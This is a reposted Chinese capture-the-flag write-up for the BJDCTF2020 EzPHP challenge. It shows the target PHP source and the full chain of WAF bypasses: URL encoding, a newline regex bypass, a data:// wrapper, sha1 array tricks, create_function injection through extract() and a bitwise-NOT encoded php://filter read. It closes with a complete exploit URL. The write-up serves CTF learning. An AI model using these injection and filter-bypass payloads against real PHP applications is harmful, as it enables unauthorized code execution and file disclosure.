[BJDCTF2020]EzPHP 1

news/2024/9/20 13:37:19/文章来源:https://www.cnblogs.com/z2gh/p/18299929

信息收集,waf绕过


打开后源码中可以看到这个东西,解码后是1nD3x.php

 <?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
}if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
} if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>


第一层可以看到他是用sever,这个是不会自动解url的所以我们直接url就可以绕过

可以看到匹配中没有/m所以直接换行绕过即可

?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a


这个就是便利,但是在post和get同时传入一个参的时候他会优先选择post所以我们在post再传一遍就好


这里就直接用data伪协议就好了没什么难的,url加密就好了

file=data://text/paln,debu_debu_aqua



这里类似于md5直接数组绕过就好了

shana[]=1&passwd[]=2


这里可以发现$code和$arg可控,利用$code('',$arg)进行create_function注入

function a('',$arg){return $arg
}

$arg=}代码;//,则}闭合了a(),同时//注释了后面的内容
flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

得到了flag位置rea1fl4g.php
get_defined_vars此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
因为这里url没办法绕过去所以我们要用取反绕过

<?php
$a="php://filter/read=convert.base64-encode/resource=rea1fl4g.php";
echo urlencode(~$a);

require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F))

最终payload

?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%61%6c%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%63%6f%64%65]=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67[%61%72%67]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//debu=1&file=1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/743037.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第六天笔记(设计用例的方法,等价类,边界值,判定表)

一、软件测试中术语 1.动态测试(dynamic testing):通过运行软件的组件或 系统来测试软件 例如:一辆汽车发动并行使测试 2.静态测试(static testing):对组件的规格说明书进行 评审,对静态代码进行走查 例如:一辆汽车为发动未行驶,查看外观、颜色、组成部分 3.正式评审…

上网记录20240713

模块化医学图像处理可视化软件 https://www.mevislab.de/ https://github.com/MeVisLab MeVisLab Help Resources https://mevislabdownloads.mevis.de/docs/current/MeVisLab/Resources/Documentation/Publish/index.htmlhttps://www.kitware.com/ Open Inventor The Invento…

比赛获奖的武林秘籍:07 一文速通电子设计大赛,电子人必看的获奖秘籍

本文主要介绍了全国大学生电子设计大赛的含义、比赛形式、组队技巧,结合自身经历讲解了备赛指南,同时对往年题目进行了分析和总结。比赛获奖的武林秘籍:07 一文速通电子设计大赛,电子人必看的获奖秘籍 摘要 本文主要介绍了全国大学生电子设计大赛的含义、比赛形式、组队技巧…

常错过手机的重要消息的帅哥靓女,看过来

你是不是手机里有许多未读消息,许多“小红点”,系统通知里有很多通知,久而久之你已习惯并麻木了?你只在自己需要的时候主动去找,而对于推送的信息一概不理。有时也有朋友向你抱怨发给你的信息你久久不回。或者反过来,你经常去看推送的消息,但大多是不太重要的,是广告,…

持续学习中避免灾难性遗忘的Elastic Weight Consolidation Loss数学原理及代码实现

训练人工神经网络最重要的挑战之一是灾难性遗忘。神经网络的灾难性遗忘(catastrophic forgetting)是指在神经网络学习新任务时,可能会忘记之前学习的任务。这种现象特别常见于传统的反向传播算法和深度学习模型中。主要原因是网络在学习新数据时,会调整权重以适应新任务,这…

Burp Suite Professional 2024.6 for macOS x64 ARM64 - 领先的 Web 渗透测试软件

Burp Suite Professional 2024.6 for macOS x64 & ARM64 - 领先的 Web 渗透测试软件Burp Suite Professional 2024.6 for macOS x64 & ARM64 - 领先的 Web 渗透测试软件 世界排名第一的 Web 渗透测试工具包 请访问原文链接:https://sysin.org/blog/burp-suite-pro-mac…

Burp Suite Professional 2024.6 (macOS, Linux, Windows) - Web 应用安全、测试和扫描

Burp Suite Professional 2024.6 (macOS, Linux, Windows) - Web 应用安全、测试和扫描Burp Suite Professional 2024.6 (macOS, Linux, Windows) - Web 应用安全、测试和扫描 Burp Suite Professional, Test, find, and exploit vulnerabilities. 请访问原文链接:https://sys…

Vs Code Batch-runner 插件设置

vs code 运行npm run build 报错解决 重新设置batch-runner插件 或者用powershell插件跑